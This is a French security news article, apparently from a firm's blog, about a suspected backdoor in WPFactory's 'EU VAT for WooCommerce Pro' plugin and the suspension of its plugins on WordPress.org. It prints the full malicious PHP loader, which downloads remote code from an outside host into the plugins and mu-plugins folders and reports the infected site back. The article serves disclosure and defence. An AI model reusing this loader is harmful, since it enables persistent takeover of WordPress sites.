Faille de sécurité chez WPFactory : 170 000 sites WordPress compromis

| Actualités |

WordPress reste le système de gestion de contenu le plus utilisé au monde, alimentant plus de 40 % de tous les sites Web sur Internet. Des sites Web de petites entreprises et des blogs personnels aux grandes plateformes d'entreprise et infrastructures de commerce électronique, le CMS est devenu la colonne vertébrale du Web moderne. Sa popularité découle de sa flexibilité, de son écosystème ouvert et du grand nombre de plugins disponibles pour étendre ses fonctionnalités.

Cependant, cet écosystème est également devenu l'un des plus grands défis de sécurité de WordPress.

Chez Ferber Enterprises, notre équipe de cybersécurité surveille en permanence les menaces pesant sur l'écosystème WordPress, car les vulnérabilités présentes dans les plugins, les thèmes ou les chaînes d'approvisionnement peuvent rapidement dégénérer en attaques de grande ampleur touchant des milliers de sites web à travers le monde. Ces dernières années, les pirates ont de plus en plus ciblé les développeurs de plugins et les infrastructures de distribution plutôt que les sites web individuels, ce qui a permis à du code malveillant de se propager via des mises à jour logicielles de confiance et des canaux de téléchargement officiels.

Cette semaine, une controverse majeure a éclaté autour de WPFactory, un développeur de plugins WordPress bien connu dont les produits sont installés sur plus de 170 000 sites web à travers le monde. Plus de 80 plugins associés à cette entreprise ont été temporairement suspendus sur WordPress.org après que notre équipe de cybersécurité chez Ferber Enterprises a découvert une porte dérobée présumée dans la version premium de l'un de ses plugins.

L'incident a suscité de vives inquiétudes au sein de la communauté WordPress concernant la sécurité de la chaîne d'approvisionnement logicielle, les processus d'examen des plugins et la sophistication croissante des attaques ciblant l'écosystème open-source.

La découverte du comportement suspect du plugin

Le problème a été mis au jour pour la première fois lorsque notre équipe de cybersécurité chez Ferber Enterprises a constaté un comportement anormal lors du test de la version premium du plugin « EU VAT for WooCommerce Pro », disponible directement sur le site officiel.

Initialement, l'enquête a débuté après que le plugin ait généré une erreur fatale lors de son installation. En tentant de résoudre ce problème, nos analystes ont identifié un fichier PHP suspect nommé class-alg-wc-eu-vat-customer.php. Le fichier semblait exécuter un comportement totalement incompatible avec la fonctionnalité attendue d'un plugin VAT pour WooCommerce.

class-alg-wc-eu-vat-customer.php ● 
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Selon notre analyse, le code a tenté de :

  • Télécharger une archive ZIP externe depuis un serveur distant
  • Modifier les répertoires principaux de WordPress
  • Communiquer avec l'infrastructure externe
  • Exécuter potentiellement des charges utiles à distance sur les sites Web affectés

Ces indicateurs ont immédiatement suggéré la présence possible d'une porte dérobée cachée ou d'une compromission malveillante de la chaîne d'approvisionnement.

Ce qui rendait la situation particulièrement inquiétante, c'est que le plugin n'avait pas été téléchargé à partir d'un miroir non officiel ou d'un dépôt piraté. Le paquet avait été téléchargé directement depuis le portail client officiel de WPFactory, ce qui renforçait les craintes que le canal de distribution lui-même ait pu être compromis.

Chez Ferber Enterprises, nous avons immédiatement consigné l'incident et lancé une procédure de divulgation responsable en contactant directement WPFactory via GitHub.

Première réponse de WPFactory

WPFactory a d'abord répondu en affirmant que le fichier et le comportement suspects décrits dans le rapport ne faisaient pas partie de leur base de code officielle.

Un représentant de l'entreprise a suggéré plusieurs explications alternatives, notamment :

  • Une installation locale modifiée
  • Un environnement de site web compromis
  • Une version obsolète du plugin
  • Une source de téléchargement potentiellement falsifiée

L'entreprise a également déclaré qu'elle n'avait pas pu inspecter en toute sécurité le fichier ZIP fourni car son navigateur avait signalé l'archive comme potentiellement dangereuse.

Notre équipe chargée de la cybersécurité a ensuite précisé que le plugin avait été téléchargé directement depuis le site officiel de WPFactory et que le fichier suspect était toujours présent, même après avoir téléchargé une nouvelle copie de la version 4.6.1 à partir de la même source.

Ce détail est devenu un élément central de l'enquête. Si plusieurs téléchargements indépendants provenant du canal de distribution officiel contenaient systématiquement le même code suspect, l'hypothèse d'une compromission d'un site web local semblait de plus en plus improbable. Malgré ces conclusions, WPFactory a d'abord déclaré ne pas être en mesure de reproduire le problème de son côté et a affirmé que le fichier suspect n'existait pas dans le pack officiel du plugin.

L'entreprise a ensuite demandé un accès administrateur et FTP à l'environnement concerné afin de poursuivre son enquête. Chez Ferber Enterprises, nous avons rejeté cette demande pour des raisons de cybersécurité. Accorder un accès privilégié au serveur à un fournisseur dont l'infrastructure aurait pu être elle-même compromise aurait représenté un risque de sécurité inacceptable. Notre équipe a préféré continuer à fournir des preuves techniques, notamment une démonstration vidéo montrant le comportement suspect du plugin immédiatement après son installation.

Escalade vers WordPress.org

Au fur et à mesure que l'enquête avançait, les inquiétudes se sont amplifiées quant à l'ampleur potentielle du problème. WPFactory dispose d'un vaste catalogue de plugins comprenant plus de 65 plugins, totalisant à eux tous plus de 170 000 installations actives. Toute faille affectant l'infrastructure de distribution de l'entreprise pourrait donc avoir des répercussions considérables sur l'ensemble de l'écosystème WordPress.

Notre équipe a immédiatement signalé le problème à WordPress.org afin d'empêcher d'autres utilisateurs d'installer des paquets potentiellement compromis pendant que l'enquête était en cours. WordPress.org a alors pris la décision exceptionnelle de retirer temporairement plus de 80 plugins WPFactory du répertoire officiel.

Cette décision a immédiatement attiré l'attention de toute la communauté de sécurité WordPress, car les fermetures massives de plugins de cette ampleur sont relativement rares et indiquent généralement l'existence de problèmes graves non résolus. Suite à cette escalade, WPFactory a par la suite reconnu que le problème semblait fondé et s'est excusé de ne pas avoir réagi plus rapidement au signalement initial. Les représentants de l'entreprise ont déclaré qu'ils enquêtaient activement sur la question et s'efforçaient de trouver une solution. Une hypothèse avancée en interne par WPFactory suggérait qu'un paquet de plugin obsolète ou mis en cache aurait pu être diffusé involontairement via leur infrastructure.

Cependant, notre équipe de cybersécurité n'a pas partagé cette évaluation. Le comportement observé indiquait fortement un problème de sécurité plus profond, potentiellement lié à des pipelines de build compromis, des systèmes de distribution ou une injection de code non autorisée dans les archives de plugins téléchargeables.

Pourquoi cet incident est important

La controverse autour de WPFactory met en lumière une menace croissante pour la cybersécurité, connue sous le nom d'attaque de la chaîne d'approvisionnement logicielle. Auparavant, les pirates s'attachaient principalement à compromettre directement des sites web individuels par le biais d'attaques par force brute ou en exploitant les failles des plugins. Aujourd'hui, les cybercriminels ciblent de plus en plus les éditeurs de logiciels eux-mêmes, car le fait de compromettre un fournisseur de confiance permet à un code malveillant de se propager simultanément à des milliers de sites web.

Cette stratégie a déjà été observée dans plusieurs incidents de cybersécurité très médiatisés touchant les écosystèmes logiciels mondiaux au cours de la dernière décennie. Dans l'écosystème WordPress en particulier, les développeurs de plugins représentent des cibles attrayantes car les plugins sont intrinsèquement approuvés par les administrateurs et fonctionnent souvent avec des autorisations élevées.

Si un code malveillant est introduit dans un paquet de plugin distribué via un canal officiel, les sites web concernés risquent d'installer eux-mêmes, à leur insu, des logiciels malveillants. Dans le cas du plugin suspect WPFactory, les conséquences potentielles sont graves.

Sur la base de notre analyse, le comportement identifié pourrait théoriquement permettre aux attaquants de :

  • Déployez des logiciels malveillants supplémentaires
  • Injecter du spam SEO
  • Créer des portes dérobées persistantes
  • Exfiltrer des données sensibles
  • Modifier les installations WordPress à distance
  • Maintenir un accès non autorisé sur de longues périodes

Le danger de telles attaques réside dans leur furtivité. Les portes dérobées modernes sont souvent conçues pour rester dormantes pendant des mois avant de s'activer, rendant leur détection considérablement plus difficile. Au début du mois, l'équipe des plugins WordPress aurait fermé plus de 30 plugins après que du code malveillant caché intégré dans le portefeuille d'un autre plugin soit resté inactif pendant environ huit mois avant de finir par s'activer et d'injecter du spam SEO sur les sites Web.

Cette tendance démontre que les attaquants privilégient de plus en plus la persistance et l'activation différée pour échapper aux mécanismes de détection.

Une crise de sécurité plus large dans l'écosystème WordPress

L'incident WPFactory met également en lumière des problèmes de sécurité systémiques plus généraux qui touchent l'ensemble de l'écosystème WordPress. Cet écosystème s'est considérablement développé au cours de la dernière décennie, avec des dizaines de milliers de plugins disponibles sur les boutiques officielles et commerciales. Si cet écosystème favorise l'innovation et la flexibilité, il complique également considérablement la gestion de la sécurité.

Selon le rapport “ État de la sécurité de WordPress en 2026 ” publié par Patchstack, près de 461 000 vulnérabilités connues n’avaient pas été corrigées avant leur divulgation publique. Ce chiffre témoigne de la pression croissante qui pèse tant sur les développeurs de plugins que sur les chercheurs en sécurité et les responsables de dépôts.

Dans le même temps, la file d'attente officielle de révision des plugins WordPress dépasserait désormais les 4 000 plugins en attente d'examen. De tels chiffres illustrent l'immense défi que représente le maintien de l'assurance qualité et de l'audit de sécurité à grande échelle.

De nombreux développeurs de plugins sont de petites équipes disposant de ressources limitées en matière de sécurité. D'autres gèrent simultanément des dizaines de plugins tout en menant des stratégies de croissance commerciale agressives, impliquant des acquisitions et l'élargissement de leur portefeuille. WPFactory s'est récemment développé par le biais d'acquisitions, notamment celle d'Extend-WP et de ses 19 plugins en 2025, suivie de l'acquisition de WBW et de plusieurs autres plugins plus tard dans l'année.

L'expansion rapide des portefeuilles peut créer une complexité opérationnelle qui complique l'audit du code, la gestion de l'infrastructure et la vérification de l'intégrité des versions. Les attaquants sont bien conscients de ces réalités. De plus en plus, ils se concentrent sur l'exploitation des pratiques de sécurité opérationnelle faibles au sein des fournisseurs de logiciels plutôt que de cibler directement les utilisateurs finaux.

L'importance croissante de la sécurité de la chaîne d'approvisionnement

Des incidents comme celui-ci renforcent le besoin urgent de pratiques de sécurité plus solides tout au long de la chaîne d'approvisionnement de l'écosystème WordPress.

Chez Ferber Enterprises, notre équipe de cybersécurité recommande vivement aux développeurs de plugins d'adopter plusieurs mesures de protection essentielles, notamment :

  • Signature de paquet cryptographique
  • Pipelines CI/CD sécurisées
  • Authentification multifacteur obligatoire
  • Segmentation de l'infrastructure
  • Surveillance continue de l'intégrité
  • Audits de code indépendants
  • Systèmes de construction reproductibles

Les administrateurs de sites Web devraient également renforcer leur propre posture de sécurité. Même les plugins téléchargés à partir de sources officielles ou fiables ne doivent pas être considérés comme intrinsèquement sûrs.

Les organisations gérant des infrastructures critiques WordPress devraient envisager :

  • Maintenir les environnements de staging
  • Surveillance du trafic sortant
  • Analyse des plugins avant le déploiement
  • Limiter l'utilisation des plugins
  • Appliquer des contrôles d'accès basés sur le moindre privilège
  • Mise en œuvre de la surveillance de l'intégrité des fichiers
  • Utilisation de pare-feu d'applications Web (WAF) gérés

Dans les environnements d'entreprise, la validation de la chaîne d'approvisionnement devient aussi importante que la gestion traditionnelle des vulnérabilités. L'hypothèse selon laquelle les canaux logiciels officiels sont toujours sécurisés n'est plus réaliste dans le paysage actuel des menaces.

Réactions de la communauté et enquête en cours

La controverse s'est rapidement propagée dans la communauté WordPress après que des développeurs, des chercheurs en sécurité et des fournisseurs d'infrastructure aient commencé à discuter publiquement du problème.

Plusieurs personnalités connues de l'écosystème ont amplifié la sensibilisation à la situation, notamment des développeurs qui ont publié des listes de plugins temporairement fermés et ont encouragé les administrateurs à auditer leurs environnements.

Par ailleurs, notre équipe chez Ferber Enterprises continue d'analyser les échantillons de plugins suspects et de surveiller l'apparition d'autres indicateurs de compromission susceptibles d'affecter les sites WordPress à l'échelle mondiale.

Au moment de la publication, WPFactory a reconnu le problème et a déclaré qu'il travaillait activement à sa résolution.

Cependant, de nombreuses questions restent sans réponse :

  • L'infrastructure de distribution officielle a-t-elle été compromise ?
  • Quelle a été la durée de distribution potentielle des paquets malveillants ?
  • D'autres plugins ont-ils été affectés ?
  • Les comptes clients ou les systèmes de téléchargement ont-ils été compromis ?
  • Les attaquants ont-ils obtenu un accès persistant à l'infrastructure interne ?
  • D'autres charges utiles dormantes pourraient-elles encore exister ?

Tant que ces questions ne seront pas entièrement résolues, la prudence reste de mise.

L'avenir de la sécurité WordPress

L'incident WPFactory pourrait bien finir par devenir un autre exemple emblématique des défis en matière de cybersécurité auxquels est confronté l'écosystème web open source.

WordPress propulse une énorme partie de l'économie numérique mondiale. Tout compromis à grande échelle affectant les développeurs de plugins peut par conséquent avoir des conséquences s'étendant bien au-delà des sites Web individuels.

Alors que les pirates informatiques se tournent de plus en plus vers les attaques visant la chaîne d'approvisionnement et les techniques de persistance furtive, la sécurité des plugins ne peut plus être considérée comme une préoccupation secondaire. Chez Ferber Enterprises, nous pensons que cet événement nous rappelle de manière cruciale que la cybersécurité ne consiste pas seulement à protéger les sites web eux-mêmes, mais aussi à sécuriser chaque maillon de la chaîne de distribution logicielle.

La confiance dans les écosystèmes ouverts dépend de la transparence, d'une réponse rapide aux incidents et de pratiques de sécurité opérationnelle solides. L'écosystème WordPress est aujourd'hui confronté à un moment important.

La manière dont les développeurs, les mainteneurs de dépôts, les fournisseurs d'hébergement et les équipes de sécurité réagiront à des incidents comme celui-ci déterminera si WordPress pourra continuer à maintenir la confiance des millions d'entreprises et d'organisations qui s'appuient sur lui chaque jour.